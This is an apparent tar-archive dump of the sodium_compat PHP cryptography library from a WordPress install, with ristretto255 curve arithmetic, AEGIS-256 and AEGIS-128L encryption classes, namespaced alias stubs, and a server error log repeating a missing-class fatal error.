        $has_p_root = self::fe_iszero($p_root_check);
        $has_f_root = self::fe_iszero($f_root_check);

        $x_sqrtm1 = self::fe_mul($x, $sqrtm1); /* x*sqrt(-1) */

        $x = self::fe_abs(
            self::fe_cmov($x, $x_sqrtm1, $has_p_root | $has_f_root)
        );
        return array(
            'x' => $x,
            'nonsquare' => $has_m_root | $has_p_root
        );
    }

    /**
     * @param string $s
     * @return int
     * @throws SodiumException
     */
    public static function ristretto255_point_is_canonical($s)
    {
        $c = (self::chrToInt($s[31]) & 0x7f) ^ 0x7f;
        for ($i = 30; $i > 0; --$i) {
            $c |= self::chrToInt($s[$i]) ^ 0xff;
        }
        $c = ($c - 1) >> 8;
        $d = (0xed - 1 - self::chrToInt($s[0])) >> 8;
        $e = self::chrToInt($s[31]) >> 7;

        return 1 - ((($c & $d) | $e | self::chrToInt($s[0])) & 1);
    }

    /**
     * @param string $s
     * @param bool $skipCanonicalCheck
     * @return array{h: ParagonIE_Sodium_Core_Curve25519_Ge_P3, res: int}
     * @throws SodiumException
     */
    public static function ristretto255_frombytes($s, $skipCanonicalCheck = false)
    {
        if (!$skipCanonicalCheck) {
            if (!self::ristretto255_point_is_canonical($s)) {
                throw new SodiumException('S is not canonical');
            }
        }

        $s_ = self::fe_frombytes($s);
        $ss = self::fe_sq($s_); /* ss = s^2 */

        $u1 = self::fe_sub(self::fe_1(), $ss); /* u1 = 1-ss */
        $u1u1 = self::fe_sq($u1); /* u1u1 = u1^2 */

        $u2 = self::fe_add(self::fe_1(), $ss); /* u2 = 1+ss */
        $u2u2 = self::fe_sq($u2); /* u2u2 = u2^2 */

        $v = self::fe_mul(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d),
            $u1u1
        ); /* v = d*u1^2 */
        $v = self::fe_neg($v); /* v = -d*u1^2 */
        $v = self::fe_sub($v, $u2u2); /* v = -(d*u1^2)-u2^2 */
        $v_u2u2 = self::fe_mul($v, $u2u2); /* v_u2u2 = v*u2^2 */

        // fe25519_1(one);
        // notsquare = ristretto255_sqrt_ratio_m1(inv_sqrt, one, v_u2u2);
        $one = self::fe_1();
        $result = self::ristretto255_sqrt_ratio_m1($one, $v_u2u2);
        $inv_sqrt = $result['x'];
        $notsquare = $result['nonsquare'];

        $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3();

        $h->X = self::fe_mul($inv_sqrt, $u2);
        $h->Y = self::fe_mul(self::fe_mul($inv_sqrt, $h->X), $v);

        $h->X = self::fe_mul($h->X, $s_);
        $h->X = self::fe_abs(
            self::fe_add($h->X, $h->X)
        );
        $h->Y = self::fe_mul($u1, $h->Y);
        $h->Z = self::fe_1();
        $h->T = self::fe_mul($h->X, $h->Y);

        $res = - ((1 - $notsquare) | self::fe_isnegative($h->T) | self::fe_iszero($h->Y));
        return array('h' => $h, 'res' => $res);
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h)
    {
        $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);
        $invsqrtamd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$invsqrtamd);

        $u1 = self::fe_add($h->Z, $h->Y); /* u1 = Z+Y */
        $zmy = self::fe_sub($h->Z, $h->Y); /* zmy = Z-Y */
        $u1 = self::fe_mul($u1, $zmy); /* u1 = (Z+Y)*(Z-Y) */
        $u2 = self::fe_mul($h->X, $h->Y); /* u2 = X*Y */

        $u1_u2u2 = self::fe_mul(self::fe_sq($u2), $u1); /* u1_u2u2 = u1*u2^2 */
        $one = self::fe_1();

        // fe25519_1(one);
        // (void) ristretto255_sqrt_ratio_m1(inv_sqrt, one, u1_u2u2);
        $result = self::ristretto255_sqrt_ratio_m1($one, $u1_u2u2);
        $inv_sqrt = $result['x'];

        $den1 = self::fe_mul($inv_sqrt, $u1); /* den1 = inv_sqrt*u1 */
        $den2 = self::fe_mul($inv_sqrt, $u2); /* den2 = inv_sqrt*u2 */
        $z_inv = self::fe_mul($h->T, self::fe_mul($den1, $den2)); /* z_inv = den1*den2*T */

        $ix = self::fe_mul($h->X, $sqrtm1); /* ix = X*sqrt(-1) */
        $iy = self::fe_mul($h->Y, $sqrtm1); /* iy = Y*sqrt(-1) */
        $eden = self::fe_mul($den1, $invsqrtamd);

        $t_z_inv =  self::fe_mul($h->T, $z_inv); /* t_z_inv = T*z_inv */
        $rotate = self::fe_isnegative($t_z_inv);

        $x_ = self::fe_copy($h->X);
        $y_ = self::fe_copy($h->Y);
        $den_inv = self::fe_copy($den2);

        $x_ = self::fe_cmov($x_, $iy, $rotate);
        $y_ = self::fe_cmov($y_, $ix, $rotate);
        $den_inv = self::fe_cmov($den_inv, $eden, $rotate);

        $x_z_inv = self::fe_mul($x_, $z_inv);
        $y_ = self::fe_cneg($y_, self::fe_isnegative($x_z_inv));


        // fe25519_sub(s_, h->Z, y_);
        // fe25519_mul(s_, den_inv, s_);
        // fe25519_abs(s_, s_);
        // fe25519_tobytes(s, s_);
        return self::fe_tobytes(
            self::fe_abs(
                self::fe_mul(
                    $den_inv,
                    self::fe_sub($h->Z, $y_)
                )
            )
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $t
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     *
     * @throws SodiumException
     */
    public static function ristretto255_elligator(ParagonIE_Sodium_Core_Curve25519_Fe $t)
    {
        $sqrtm1   = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);
        $onemsqd  = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$onemsqd);
        $d        = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d);
        $sqdmone  = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqdmone);
        $sqrtadm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtadm1);

        $one = self::fe_1();
        $r   = self::fe_mul($sqrtm1, self::fe_sq($t));         /* r = sqrt(-1)*t^2 */
        $u   = self::fe_mul(self::fe_add($r, $one), $onemsqd); /* u = (r+1)*(1-d^2) */
        $c   = self::fe_neg(self::fe_1());                     /* c = -1 */
        $rpd = self::fe_add($r, $d);                           /* rpd = r+d */

        $v = self::fe_mul(
            self::fe_sub(
                $c,
                self::fe_mul($r, $d)
            ),
            $rpd
        ); /* v = (c-r*d)*(r+d) */

        $result = self::ristretto255_sqrt_ratio_m1($u, $v);
        $s = $result['x'];
        $wasnt_square = 1 - $result['nonsquare'];

        $s_prime = self::fe_neg(
            self::fe_abs(
                self::fe_mul($s, $t)
            )
        ); /* s_prime = -|s*t| */
        $s = self::fe_cmov($s, $s_prime, $wasnt_square);
        $c = self::fe_cmov($c, $r, $wasnt_square);

        // fe25519_sub(n, r, one);            /* n = r-1 */
        // fe25519_mul(n, n, c);              /* n = c*(r-1) */
        // fe25519_mul(n, n, ed25519_sqdmone); /* n = c*(r-1)*(d-1)^2 */
        // fe25519_sub(n, n, v);              /* n =  c*(r-1)*(d-1)^2-v */
        $n = self::fe_sub(
            self::fe_mul(
                self::fe_mul(
                    self::fe_sub($r, $one),
                    $c
                ),
                $sqdmone
            ),
            $v
        ); /* n =  c*(r-1)*(d-1)^2-v */

        $w0 = self::fe_mul(
            self::fe_add($s, $s),
            $v
        ); /* w0 = 2s*v */

        $w1 = self::fe_mul($n, $sqrtadm1); /* w1 = n*sqrt(ad-1) */
        $ss = self::fe_sq($s); /* ss = s^2 */
        $w2 = self::fe_sub($one, $ss); /* w2 = 1-s^2 */
        $w3 = self::fe_add($one, $ss); /* w3 = 1+s^2 */

        return new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_mul($w0, $w3),
            self::fe_mul($w2, $w1),
            self::fe_mul($w1, $w3),
            self::fe_mul($w0, $w2)
        );
    }

    /**
     * @param string $h
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_from_hash($h)
    {
        if (self::strlen($h) !== 64) {
            throw new SodiumException('Hash must be 64 bytes');
        }
        //fe25519_frombytes(r0, h);
        //fe25519_frombytes(r1, h + 32);
        $r0 = self::fe_frombytes(self::substr($h, 0, 32));
        $r1 = self::fe_frombytes(self::substr($h, 32, 32));

        //ristretto255_elligator(&p0, r0);
        //ristretto255_elligator(&p1, r1);
        $p0 = self::ristretto255_elligator($r0);
        $p1 = self::ristretto255_elligator($r1);

        //ge25519_p3_to_cached(&p1_cached, &p1);
        //ge25519_add_cached(&p_p1p1, &p0, &p1_cached);
        $p_p1p1 = self::ge_add(
            $p0,
            self::ge_p3_to_cached($p1)
        );

        //ge25519_p1p1_to_p3(&p, &p_p1p1);
        //ristretto255_p3_tobytes(s, &p);
        return self::ristretto255_p3_tobytes(
            self::ge_p1p1_to_p3($p_p1p1)
        );
    }

    /**
     * @param string $p
     * @return int
     * @throws SodiumException
     */
    public static function is_valid_point($p)
    {
        $result = self::ristretto255_frombytes($p);
        if ($result['res'] !== 0) {
            return 0;
        }
        return 1;
    }

    /**
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_add($p, $q)
    {
        $p_res = self::ristretto255_frombytes($p);
        $q_res = self::ristretto255_frombytes($q);
        if ($p_res['res'] !== 0 || $q_res['res'] !== 0) {
            throw new SodiumException('Could not add points');
        }
        $p_p3 = $p_res['h'];
        $q_p3 = $q_res['h'];
        $q_cached = self::ge_p3_to_cached($q_p3);
        $r_p1p1 = self::ge_add($p_p3, $q_cached);
        $r_p3 = self::ge_p1p1_to_p3($r_p1p1);
        return self::ristretto255_p3_tobytes($r_p3);
    }

    /**
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_sub($p, $q)
    {
        $p_res = self::ristretto255_frombytes($p);
        $q_res = self::ristretto255_frombytes($q);
        if ($p_res['res'] !== 0 || $q_res['res'] !== 0) {
            throw new SodiumException('Could not add points');
        }
        $p_p3 = $p_res['h'];
        $q_p3 = $q_res['h'];
        $q_cached = self::ge_p3_to_cached($q_p3);
        $r_p1p1 = self::ge_sub($p_p3, $q_cached);
        $r_p3 = self::ge_p1p1_to_p3($r_p1p1);
        return self::ristretto255_p3_tobytes($r_p3);
    }


    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @return string
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument hash API
     */
    protected static function h2c_string_to_hash_sha256($hLen, $ctx, $msg)
    {
        $h = array_fill(0, $hLen, 0);
        $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0;
        if ($hLen > 0xff) {
            throw new SodiumException('Hash must be less than 256 bytes');
        }

        if ($ctx_len > 0xff) {
            $st = hash_init('sha256');
            self::hash_update($st, "H2C-OVERSIZE-DST-");
            self::hash_update($st, $ctx);
            $ctx = hash_final($st, true);
            $ctx_len = 32;
        }
        $t = array(0, $hLen, 0);
        $ux = str_repeat("\0", 64);
        $st = hash_init('sha256');
        self::hash_update($st, $ux);
        self::hash_update($st, $msg);
        self::hash_update($st, self::intArrayToString($t));
        self::hash_update($st, $ctx);
        self::hash_update($st, self::intToChr($ctx_len));
        $u0 = hash_final($st, true);

        for ($i = 0; $i < $hLen; $i += 64) {
            $ux = self::xorStrings($ux, $u0);
            ++$t[2];
            $st = hash_init('sha256');
            self::hash_update($st, $ux);
            self::hash_update($st, self::intToChr($t[2]));
            self::hash_update($st, $ctx);
            self::hash_update($st, self::intToChr($ctx_len));
            $ux = hash_final($st, true);
            $amount = min($hLen - $i, 64);
            for ($j = 0; $j < $amount; ++$j) {
                $h[$i + $j] = self::chrToInt($ux[$i]);
            }
        }
        return self::intArrayToString(array_slice($h, 0, $hLen));
    }

    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @return string
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument hash API
     */
    protected static function h2c_string_to_hash_sha512($hLen, $ctx, $msg)
    {
        $h = array_fill(0, $hLen, 0);
        $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0;
        if ($hLen > 0xff) {
            throw new SodiumException('Hash must be less than 256 bytes');
        }

        if ($ctx_len > 0xff) {
            $st = hash_init('sha256');
            self::hash_update($st, "H2C-OVERSIZE-DST-");
            self::hash_update($st, $ctx);
            $ctx = hash_final($st, true);
            $ctx_len = 32;
        }
        $t = array(0, $hLen, 0);
        $ux = str_repeat("\0", 128);
        $st = hash_init('sha512');
        self::hash_update($st, $ux);
        self::hash_update($st, $msg);
        self::hash_update($st, self::intArrayToString($t));
        self::hash_update($st, $ctx);
        self::hash_update($st, self::intToChr($ctx_len));
        $u0 = hash_final($st, true);

        for ($i = 0; $i < $hLen; $i += 128) {
            $ux = self::xorStrings($ux, $u0);
            ++$t[2];
            $st = hash_init('sha512');
            self::hash_update($st, $ux);
            self::hash_update($st, self::intToChr($t[2]));
            self::hash_update($st, $ctx);
            self::hash_update($st, self::intToChr($ctx_len));
            $ux = hash_final($st, true);
            $amount = min($hLen - $i, 128);
            for ($j = 0; $j < $amount; ++$j) {
                $h[$i + $j] = self::chrToInt($ux[$i]);
            }
        }
        return self::intArrayToString(array_slice($h, 0, $hLen));
    }

    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    public static function h2c_string_to_hash($hLen, $ctx, $msg, $hash_alg)
    {
        switch ($hash_alg) {
            case self::CORE_H2C_SHA256:
                return self::h2c_string_to_hash_sha256($hLen, $ctx, $msg);
            case self::CORE_H2C_SHA512:
                return self::h2c_string_to_hash_sha512($hLen, $ctx, $msg);
            default:
                throw new SodiumException('Invalid H2C hash algorithm');
        }
    }

    /**
     * @param ?string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    protected static function _string_to_element($ctx, $msg, $hash_alg)
    {
        return self::ristretto255_from_hash(
            self::h2c_string_to_hash(self::crypto_core_ristretto255_HASHBYTES, $ctx, $msg, $hash_alg)
        );
    }

    /**
     * @return string
     * @throws SodiumException
     * @throws Exception
     */
    public static function ristretto255_random()
    {
        return self::ristretto255_from_hash(
            ParagonIE_Sodium_Compat::randombytes_buf(self::crypto_core_ristretto255_HASHBYTES)
        );
    }

    /**
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_random()
    {
        return self::scalar_random();
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_complement($s)
    {
        return self::scalar_complement($s);
    }


    /**
     * @param string $s
     * @return string
     */
    public static function ristretto255_scalar_invert($s)
    {
        return self::sc25519_invert($s);
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_negate($s)
    {
        return self::scalar_negate($s);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_add($x, $y)
    {
        return self::scalar_add($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_sub($x, $y)
    {
        return self::scalar_sub($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_mul($x, $y)
    {
        return self::sc25519_mul($x, $y);
    }

    /**
     * @param string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_from_string($ctx, $msg, $hash_alg)
    {
        $h = array_fill(0, 64, 0);
        $h_be = self::stringToIntArray(
            self::h2c_string_to_hash(
                self::HASH_SC_L, $ctx, $msg, $hash_alg
            )
        );

        for ($i = 0; $i < self::HASH_SC_L; ++$i) {
            $h[$i] = $h_be[self::HASH_SC_L - 1 - $i];
        }
        return self::ristretto255_scalar_reduce(self::intArrayToString($h));
    }

    /**
     * @param string $s
     * @return string
     */
    public static function ristretto255_scalar_reduce($s)
    {
        return self::sc_reduce($s);
    }

    /**
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255($n, $p)
    {
        if (self::strlen($n) !== 32) {
            throw new SodiumException('Scalar must be 32 bytes, ' . self::strlen($p) . ' given.');
        }
        if (self::strlen($p) !== 32) {
            throw new SodiumException('Point must be 32 bytes, ' . self::strlen($p) . ' given.');
        }
        $result = self::ristretto255_frombytes($p);
        if ($result['res'] !== 0) {
            throw new SodiumException('Could not multiply points');
        }
        $P = $result['h'];

        $t = self::stringToIntArray($n);
        $t[31] &= 0x7f;
        $Q = self::ge_scalarmult(self::intArrayToString($t), $P);
        $q = self::ristretto255_p3_tobytes($Q);
        if (ParagonIE_Sodium_Compat::is_zero($q)) {
            throw new SodiumException('An unknown error has occurred');
        }
        return $q;
    }

    /**
     * @param string $n
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255_base($n)
    {
        $t = self::stringToIntArray($n);
        $t[31] &= 0x7f;
        $Q = self::ge_scalarmult_base(self::intArrayToString($t));
        $q = self::ristretto255_p3_tobytes($Q);
        if (ParagonIE_Sodium_Compat::is_zero($q)) {
            throw new SodiumException('An unknown error has occurred');
        }
        return $q;
    }
}
AEGIS256.php000064400000007016151024240020006334 0ustar00<?php

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS256 extends ParagonIE_Sodium_Core_AES
{
    /**
     * @param string $ct
     * @param string $tag
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return string
     * @throws SodiumException
     */
    public static function decrypt($ct, $tag, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);

        // ad_blocks = Split(ZeroPad(ad, 128), 128)
        $ad_blocks = (self::strlen($ad) + 15) >> 4;
        // for ai in ad_blocks:
        //     Absorb(ai)
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 4, 16);
            if (self::strlen($ai) < 16) {
                $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $msg = '';
        $cn = self::strlen($ct) & 15;
        $ct_blocks = self::strlen($ct) >> 4;
        // ct_blocks = Split(ZeroPad(ct, 128), 128)
        // cn = Tail(ct, |ct| mod 128)
        for ($i = 0; $i < $ct_blocks; ++$i) {
            $msg .= $state->dec(self::substr($ct, $i << 4, 16));
        }
        // if cn is not empty:
        //   msg = msg || DecPartial(cn)
        if ($cn) {
            $start = $ct_blocks << 4;
            $msg .= $state->decPartial(self::substr($ct, $start, $cn));
        }
        $expected_tag = $state->finalize(
            self::strlen($ad) << 3,
            self::strlen($msg) << 3
        );
        if (!self::hashEquals($expected_tag, $tag)) {
            try {
                // The RFC says to erase msg, so we shall try:
                ParagonIE_Sodium_Compat::memzero($msg);
            } catch (SodiumException $ex) {
                // Do nothing if we cannot memzero
            }
            throw new SodiumException('verification failed');
        }
        return $msg;
    }

    /**
     * @param string $msg
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return array
     * @throws SodiumException
     */
    public static function encrypt($msg, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        $ad_len = self::strlen($ad);
        $msg_len = self::strlen($msg);
        $ad_blocks = ($ad_len + 15) >> 4;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 4, 16);
            if (self::strlen($ai) < 16) {
                $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $ct = '';
        $msg_blocks = ($msg_len + 15) >> 4;
        for ($i = 0; $i < $msg_blocks; ++$i) {
            $xi = self::substr($msg, $i << 4, 16);
            if (self::strlen($xi) < 16) {
                $xi = str_pad($xi, 16, "\0", STR_PAD_RIGHT);
            }
            $ct .= $state->enc($xi);
        }
        $tag = $state->finalize(
            $ad_len << 3,
            $msg_len << 3
        );
        return array(
            self::substr($ct, 0, $msg_len),
            $tag
        );

    }

    /**
     * @param string $key
     * @param string $nonce
     * @return ParagonIE_Sodium_Core_AEGIS_State256
     */
    public static function init($key, $nonce)
    {
        return ParagonIE_Sodium_Core_AEGIS_State256::init($key, $nonce);
    }
}
Curve25519.php000064400000000150151024240020006731 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class Curve25519 extends \ParagonIE_Sodium_Core_Curve25519
{

}
AEGIS128L.php000064400000007124151024240020006446 0ustar00<?php

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS128L extends ParagonIE_Sodium_Core_AES
{
    /**
     * @param string $ct
     * @param string $tag
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return string
     * @throws SodiumException
     */
    public static function decrypt($ct, $tag, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        $ad_blocks = (self::strlen($ad) + 31) >> 5;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 5, 32);
            if (self::strlen($ai) < 32) {
                $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $msg = '';
        $cn = self::strlen($ct) & 31;
        $ct_blocks = self::strlen($ct) >> 5;
        for ($i = 0; $i < $ct_blocks; ++$i) {
            $msg .= $state->dec(self::substr($ct, $i << 5, 32));
        }
        if ($cn) {
            $start = $ct_blocks << 5;
            $msg .= $state->decPartial(self::substr($ct, $start, $cn));
        }
        $expected_tag = $state->finalize(
            self::strlen($ad) << 3,
            self::strlen($msg) << 3
        );
        if (!self::hashEquals($expected_tag, $tag)) {
            try {
                // The RFC says to erase msg, so we shall try:
                ParagonIE_Sodium_Compat::memzero($msg);
            } catch (SodiumException $ex) {
                // Do nothing if we cannot memzero
            }
            throw new SodiumException('verification failed');
        }
        return $msg;
    }

    /**
     * @param string $msg
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return array
     *
     * @throws SodiumException
     */
    public static function encrypt($msg, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        // ad_blocks = Split(ZeroPad(ad, 256), 256)
        // for ai in ad_blocks:
        //     Absorb(ai)
        $ad_len = self::strlen($ad);
        $msg_len = self::strlen($msg);
        $ad_blocks = ($ad_len + 31) >> 5;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 5, 32);
            if (self::strlen($ai) < 32) {
                $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        // msg_blocks = Split(ZeroPad(msg, 256), 256)
        // for xi in msg_blocks:
        //     ct = ct || Enc(xi)
        $ct = '';
        $msg_blocks = ($msg_len + 31) >> 5;
        for ($i = 0; $i < $msg_blocks; ++$i) {
            $xi = self::substr($msg, $i << 5, 32);
            if (self::strlen($xi) < 32) {
                $xi = str_pad($xi, 32, "\0", STR_PAD_RIGHT);
            }
            $ct .= $state->enc($xi);
        }
        // tag = Finalize(|ad|, |msg|)
        // ct = Truncate(ct, |msg|)
        $tag = $state->finalize(
            $ad_len << 3,
            $msg_len << 3
        );
        // return ct and tag
        return array(
            self::substr($ct, 0, $msg_len),
            $tag
        );
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return ParagonIE_Sodium_Core_AEGIS_State128L
     */
    public static function init($key, $nonce)
    {
        return ParagonIE_Sodium_Core_AEGIS_State128L::init($key, $nonce);
    }
}
SipHash.php000064400000000142151024240020006577 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class SipHash extends \ParagonIE_Sodium_Core_SipHash
{

}
HSalsa20.php000064400000000144151024240020006557 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class HSalsa20 extends \ParagonIE_Sodium_Core_HSalsa20
{

}
Poly1305/error_log000064400000010356151024240020007710 0ustar00[28-Oct-2025 03:04:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[01-Nov-2025 18:33:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[02-Nov-2025 11:08:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[03-Nov-2025 16:20:55 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[03-Nov-2025 16:21:29 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[03-Nov-2025 16:22:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[04-Nov-2025 14:16:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[04-Nov-2025 14:16:55 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[04-Nov-2025 14:18:35 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[04-Nov-2025 14:37:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
[05-Nov-2025 10:21:54 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305_State" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/State.php on line 4
Poly1305/State.php000064400000000160151024240020007554 0ustar00<?php
namespace ParagonIE\Sodium\Core\Poly1305;

class State extends \ParagonIE_Sodium_Core_Poly1305_State
{

}
ChaCha20.php000064400000000144151024240020006513 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class ChaCha20 extends \ParagonIE_Sodium_Core_ChaCha20
{

}
Curve25519/Fe.php000064400000000156151024240020007271 0ustar00<?php
namespace ParagonIE\Sodium\Core\Curve25519;

class Fe extends \ParagonIE_Sodium_Core_Curve25519_Fe
{

}
